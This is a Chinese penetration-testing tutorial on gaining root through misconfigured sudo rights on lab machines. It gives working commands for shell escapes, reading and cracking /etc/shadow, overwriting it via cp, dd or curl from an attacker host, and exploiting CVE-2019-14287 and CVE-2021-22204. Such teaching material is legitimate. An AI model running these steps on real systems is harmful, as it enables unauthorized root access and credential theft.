渗透测试:Linux提权精讲(一)之sudo方法第一期

目录

写在开头

CVE-2019-14287

sudo apt和sudo apt-get

sudo apache2

sudo ash

sudo awk

sudo base32/58/64/nc/z

sudo cp

sudo cpulimit

sudo curl

sudo date

sudo dd

sudo dstat 

sudo ed

sudo env

sudo exiftools

总结与思考

写在开头

 在进行渗透测试获取初始立足点的shell后,通常会运行sudo -l查看当前用户的权限,可通过系统已有可执行文件的权限实现提权。提权的本质就是低权限的用户因为某种特殊的配置/漏洞,可利用具有高权限的指令/工具/脚本等执行高权限的操作。有关Linux系统的提权方法有很多,包含passwd或shadow文件利用提权、自动任务提权、SUID提权、内核漏洞提权、第三方工具提权、sudo提权等等,本文将详解十几种sudo提权的方法。这些方法的总结与归类详见本文最后的总结与思考

本文将在红队笔记大佬讲解的基础上,对Linux系统靶机的sudo提权方式进行简要总结。这里还是首先给出红队笔记大佬的视频链接:

「红队笔记」Linux提权精讲:Sudo风暴 - Sudo风暴第1部分,扫地僧级别心法,研究提权技术的同时,打磨你对linux内核的深度理解。渗透测试宝典。_哔哩哔哩_bilibili

查看当前用户的权限:

sudo -l

如果出现类似如下没有tty的提示,可能是shell交互性差的缘故:

 可以通过python映射一个shell,增强交互性:

python -c "import pty;pty.spawn('/bin/bash')"

 此时再运行sudo -l应该就可以提升权限了,不过可能要输入当前用户的密码。

有一个开源项目GTFOBins介绍了常见的提权方法,本文提到的多数sudo提权方式多数也可以在该项目中搜索得到,详情见:GTFOBins

 可以在其中搜索相应的提权方式,比如搜索find命令:

 可以直接找到对应的提权操作,其他命令的搜索方式类似。

 下面进入正题,介绍基于具有sudo权限的可执行文件(命令)进行的提权操作。

CVE-2019-14287

漏洞利用前提

1.sudo版本要求:该漏洞针对1.8.28以下的sudo版本。查看sudo版本的指令是:

sudo -V |grep version

2.运行sudo -l后显示当前用户可以免密切换至其他任意非root用户,即:

(ALL, !root) NOPASSWD: /bin/bash

提权操作

sudo -u#-1 /bin/bash

提权原理

通常情况,切换其他用户的shell可以采用的命令如下(以下两行均可,假设切换到Bossfrank用户,该用户的id为1001,可以通过/etc/passwd文件查看)

sudo -u bossfrank /bin/bash
sudo -u#1001 /bin/bash

对于sudo版本低于1.8.28的情况,由于-1的用户id会被sudo解释为0,也就是root,从而造成提权。

sudo apt和sudo apt-get

漏洞利用前提 

当前用户可以以sudo高级权限运行apt指令。即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/bin/apt

详情可见apt | GTFOBins

提权操作

针对sudo apt:

sudo apt update -o APT::Update::Pre-Invoke::=/bin/sh

针对 sudo apt-get

sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh

  其中的-o指定apt的选项,APT::Update::Pre-Invoke::=/bin/sh都是apt的一个预处理选项,冒号的作用是名字空间。该选项是逐级访问的预处理指令,最终是执行了启动bash会话。

sudo apache2

漏洞利用前提 

当前用户可以以sudo高级权限运行apt指令。即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/sbin/apache2

操作方式

sudo apache2 -f /etc/shadow

其中-f用于指定apache2的配置文件,我们指定存放了密码hash的文件/etc/shadow。执行时由于给定的配置文件有问题,肯定会出现报错,报错的时候会暴露/etc/shadow文件的第一行,从而给我们利用的可能。报错信息如下:

Syntax error on line 1 of /etc/shadow:

Invalid command 'root:$6$TB/euwMK$0XA............:::',perhaps mispelled or defined by a module not in cluded in the server configuration

 这样我们把其中关于root账号的密码hash$6$TB/euwMK$0XA............(此处这个hash只是示意)找个字典破解一下,有可能就能拿到密码。比如可以把密码hash命名为passwordhash,然后在kali中用john破解一下:

john passwordhash --wordlist=/usr/share/wordlists/rockyou.txt

 如果能破解出来,那么就可以用这个密码作为凭据进行提权了,不过如果不是弱口令的话也很难破解出来。

sudo ash

漏洞利用前提 

当前用户可以以sudo高级权限运行ash指令。即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/bin/ash

 详情可见ash | GTFOBins

操作方式 

sudo ash
bash

直接运行sudo ash即可提权,本质上ash就是启动一个shell的命令。既然可以以高权限启动,相当于直接提权,再用命令bash开启一个会话提高shell的交互性。这里的关键在于认出ash就是一种shell环境。与之类似还有bash/csh/zsh/sh/tclsh/dash等,均为shell环境。

sudo awk

漏洞利用前提 

当前用户可以以sudo高级权限运行ash指令。即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/bin/awk

  详情可见awk | GTFOBins

操作方式 

sudo awk 'BEGIN {system("/bin/sh")}'

 awk是常用的文本处理工具之一,上述命令中单引号中的内容是传递给awk工具的脚本,而BEGIN是awk工具的一个特殊模式,表示在处理任何输入前执行的动作,我们用大括号{}添加了指定awk执行的操作:系统命令——启动一个shell环境,从而实现提权。

sudo base32/58/64/nc/z

漏洞利用前提 

当前用户可以以sudo高级权限运行base32/58/64/nc/z指令。即运行sudo -l后会有如下的行(此处以base4为例):

(root) NOPASSWD: /usr/bin/base64

详情见base64 | GTFOBins 

操作方式

bossfrank=/etc/shadow
sudo base64 "$bossfrank" | base64 -d

 base64就是用来编码的,具有sudo权限后可以读取高权限用户才能读取的文件。我们可以利用base64工具的权限,对敏感其进行编码再解码,读取结果(也就是读取原始文件)。 利用这种方式我们就可读取原本的shadow文件,然后再对root用户的hash进行字典碰撞破解,如果破解成功,即可su提权。(base64/58/32/nc/z的利用方式相似)

sudo cp

漏洞利用前提

当前用户可以以sudo高级权限运行复制cp指令。即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/bin/cp

详情见cp | GTFOBins

操作方式 

 本质思路就是利用复制的高权限,我们可以自己写一个shadow文件,通过复制操作覆盖原有的shadow文件,从而修改了root账户的密码,用新的密码进行提权。

详情可见cp | GTFOBins,具体操作如下:

 首先我们可以用mkpasswd生成sha-512加密(/etc/shadow中密码的加密方式)的密文,我们企图把root账户的密码修改为123456,故此处命令为:

mkpasswd -m sha-512 123456

加密结果为:

$6$xN1oF.DguPuEFNRA$AioCGARgZikdMFSmMygmnY5PmF7JDOKi5A/M9ESTsNKZvpWTYSku3f9atqjAEapxltWMve4iff82svVapfLUx.

 查看kali的/etc/shadow可以看到通常情况下shadow的形式

cat /etc/shadow | grep root 

 照着这个形式,我们可以构造一行如下的字符串,这行字符串之后会拷贝覆盖靶机中的/etc/shadow文件:

root:$6$xN1oF.DguPuEFNRA$AioCGARgZikdMFSmMygmnY5PmF7JDOKi5A/M9ESTsNKZvpWTYSku3f9atqjAEapxltWMve4iff82svVapfLUx.:18225:0:99999:7:::

 然后在靶机中进行如下的操作:

首先声明一个环境变量,用于指向/etc/shadow:

bossfrank=/etc/shadow

然后再生成一个名为TF的变量,指向用mktemp生成的临时文件:

TF=$(mktemp)

然后将刚刚我们生成的shadow记录(即root账户密码是123456)写入TF变量:

echo 'root:$6$xN1oF.DguPuEFNRA$AioCGARgZikdMFSmMygmnY5PmF7JDOKi5A/M9ESTsNKZvpWTYSku3f9atqjAEapxltWMve4iff82svVapfLUx.:18225:0:99999:7:::' > $TF

插叙一下,此时可以查看TF变量的内容,输出TF(echo $TF)可以看到:

/tmp/tmp.Rmzxhak

 再查看这个临时文件(cat /tmp/tmp.Rmzxhak),就是我们刚刚的那条shadow记录


最后是关键步骤,使用sudo的cp复制指令,将我们的这条shadow记录复制到/etc/shadow,实现覆盖操作:

sudo /usr/bin/cp $TF $bossfrank

 只要用密码123456即可提权。

 特别注意,这个操作对于靶机是有损的!会把原有的/etc/shadow覆盖掉,只保留了含有root的一条信息。因此这个提权操作的优先级并不高,同时操作前建议先对原有的/etc/shadow文件进行备份。使用临时变量$TF的操作是GTFOBins的推荐操作,虽然看起来复杂,但利用临时变量、临时文件的方法对于实际攻防中隐藏特征、自动清除痕迹很有意义。如果单纯想要提权的话可以不用这种方法。

sudo cpulimit

漏洞利用前提

当前用户可以以sudo高级权限运行cpulimit指令。即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/bin/cpulimit

详情见cpulimit | GTFOBins

提权操作

sudo cpulimit -l 100 -f /bin/bash

 其中-l 100用于限制(指定)cpu的使用率,此处为100%,-f参数表示运行某个程序,该程序以-l参数指定的使用率占用CPU,此处执行的程序就是启动/bash,由于cpulimit具有sudo权限,故可以直接提权。

sudo curl

漏洞利用前提

当前用户可以以sudo高级权限运行curl指令。即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/bin/curl

详情见curl | GTFOBins

操作方式 

 该操作的本质思路与sudo cp小节的类似,都是通过覆盖系统的/etc/shadow文件修改root密码,达到提权的目的。前述生成shadow格式的操作见sudo cp小节,这里把对于123456进行sha-512加密的shadow形式的字符串存成了一个文件shadow_entry,这就是我们的payload:

 在kali中启动一个http服务,架设一个站点,用于存放这个恶意载荷payload:

php -S 0:80 

 然后在靶机中通过sudo curl访问kali上的payload,也就是这个shadow_entry,并把结果输出到/etc/shadow,从而覆盖了靶机原有的/etc/shadow文件,实现了对root账户的密码修改

sudo curl http://kali的ip/shadow_entry -o /etc/shadow

-o参数用于将结果输出到文件,接下来只要su提权,输入我们的密码即可。该方法同样由于覆盖了原有的/etc/shadow,对靶机的系统是有破坏的。

sudo date

漏洞利用前提 

当前用户可以以sudo高级权限运行日期date指令。即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/bin/date

操作方式

sudo date命令的提权操作与sudo apache2的操作相似

sudo date -f /etc/shadow

其中-f用于指定读取日期的路径。我们利用date的sudo权限从/etc/shadow中读取日期,/etc/shadow中不存在日期信息,会出现报错,但报错中会显示/etc/shadow的内容:

 然后执行hash碰撞即可。

sudo dd

 漏洞利用前提

当前用户可以以sudo高级权限运行dd指令。 即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/bin/dd

详情见dd | GTFOBins

操作方式

dd指令是一个命令行工具,可对原始指令进行复制、转化,可以用于转换编码、生成文件等。 

该提权方法与前述的sudo cp 和 sudo curl有类似之处,都是通过覆盖/etc/shadow文件的方法,覆盖后使用自己的设定的密码进行登录。首先还是先构造一个shadow形式的字符串,设定密码为123456(方法详见sudo cp):

root:$6$xN1oF.DguPuEFNRA$AioCGARgZikdMFSmMygmnY5PmF7JDOKi5A/M9ESTsNKZvpWTYSku3f9atqjAEapxltWMve4iff82svVapfLUx.:18225:0:99999:7:::

 运行如下指令即可实现对靶机/etc/shadow文件的覆盖:

echo "root:$6$xN1oF.DguPuEFNRA$AioCGARgZikdMFSmMygmnY5PmF7JDOKi5A/M9ESTsNKZvpWTYSku3f9atqjAEapxltWMve4iff82svVapfLUx.:18225:0:99999:7:::" | sudo dd of=/etc/shadow

of参数用于输出文件,这里设置为/etc/shadow,就会将我们构造的payload输出到/etc/shadow,实现对靶机中/etc/shadow的覆盖。 同样,这对于靶机也是有损的,建议先备份原有的/etc/shadow。

sudo dstat 

漏洞利用前提

当前用户可以以sudo高级权限运行dstat指令。 即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/bin/dstat

详情见dstat | GTFOBins

提权操作

 该操作的核心逻辑是dstat指令可以指定插件,我们可以在插件目录中写入我们用于提权的exp脚本,然后sudo运行dstat的时候同时指定这个插件脚本,即可实现提权。dstat的插件目录通常位于/usr/local/share/dstat或/usr/share/dstat,可以先通过find命令进行查找到底是哪个目录:

find / -name dstat -type f 2>/dev/null

 这里假定插件目录是/usr/share/dstat,我们在这个目录中写入我们的python提权脚本(插件)dstat_exp.py:

import os; os.execv("/bin/sh", ["sh"])

当然也可以直接echo到指定目录:

echo 'import os; os.execv("/bin/sh", ["sh"])' >/usr/local/share/dstat/dstat_exp.py

然后sudo运行dstat的时候指定插件名exp即可提权:

sudo dstat --exp

注意此处我们插件的脚本名称是dstat_exp.py,但指定插件名称时输入的是exp。

sudo ed

漏洞利用前提

当前用户可以以sudo高级权限运行文本编辑器ed。 即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/bin/ed

详情见ed | GTFOBins

提权操作

直接sudo运行ed即可进入文本编辑界面,然后输入:

!/bin/bash

 即可直接提权。感叹号!表明执行系统命令。我们执行的系统命令是/bin/bash,即启动bash,又由于ed本身是以sudo执行的,从而启动了root的bash,实现了提权。

sudo env

 当前用户可以以sudo高级权限运行文本编辑器ed。 即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/bin/ed

详情见env | GTFOBins

提权操作

直接sudo运行env执行/bin/bash即可:

sudo env /bin/sh

env通常用于设定环境变量相关的参数,在此处也可以执行命令,直接以启动bash即可提权。

sudo exiftools

漏洞利用前提

当前用户可以以sudo高级权限运行文本编辑器ed。 即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/bin/exiftool

且exiftool的版本在7.44-12.23范围内,可用exiftool -ver查看版本。

详情见exiftool | GTFOBins,这其实是有关exiftool的一个漏洞(CVE-2021-22204),详细漏洞源码可见ExifTool 12.23 - Arbitrary Code Execution - Linux local Exploit (exploit-db.com)

提权操作

这里给出红队笔记大佬的漏洞利用方式,按照上述漏洞源码中提示的逻辑操作即可:

首先构造payload,并在里面写入源数据,启动一个系统的shell:

echo  "(metadata \"\c${system('/bin/bash')};\")" > payload

或直接vi payload编辑:

(metadata "\c${system('/bin/bash')};")

然后使用bzz工具进行压缩:

bzz payload payload.bzz

按照利用文件,用djvumake工具生成利用文件exploit.djvu,djvu是一种图像文件压缩格式,主要用于扫描文档和电子书格式。

djvumake exploit.djvu INFO='1,1' BGjp=/dev/null ANTz=payload.bzz

提权命令:

sudo exiftool exploit.djvu

运行即可提权。

总结与思考

 本文介绍了15种常见的sudo提权方式,主要还是利用了系统配置的缺陷,使得低权限的用户(初始靶机shell)能够以root权限sudo免密执行高权限的指令。相信通过本文的介绍,希望读者能够对提权的本质:低权限用户因为某种原因(配置/漏洞)能够运行高权限的指令/工具/脚本,有更为直观的理解。最后决定还是将本文的15种提权方式强行来一个归类总结,纯属个人理解,如果有总结不到位的地方还请读者多多指出。

漏洞相关:CVE-2019-14287 , CVE-2021-22204(sudo exiftools)

直接读取敏感文件:sudo base32/58/64/nc/z

可执行系统命令:sudo apt/apt-get , sudo awk , sudo cpulimit , sudo dstat , sudo ed , sudo env

通过错误配置的报错信息读取敏感文件:sudo apache2 , sudo date

直接执行bash:sudo bash/ash/zsh/sh/dash/tclsh等

可覆盖系统敏感配置:sudo cp , sudo dd , sudo curl 

 这篇博客到这里就结束了,总结真的不易,还请读者多多点赞关注支持! 本文所提到的提权方式我并没有全部实践过,可能还需要长期的渗透测试打靶与实践才能遇到这么多种情况吧。近期我将继续总结有关Linux提权相关的方法、也会继续坚持打靶,还望读者多多支持。

猜你喜欢

转载自blog.csdn.net/Bossfrank/article/details/131941306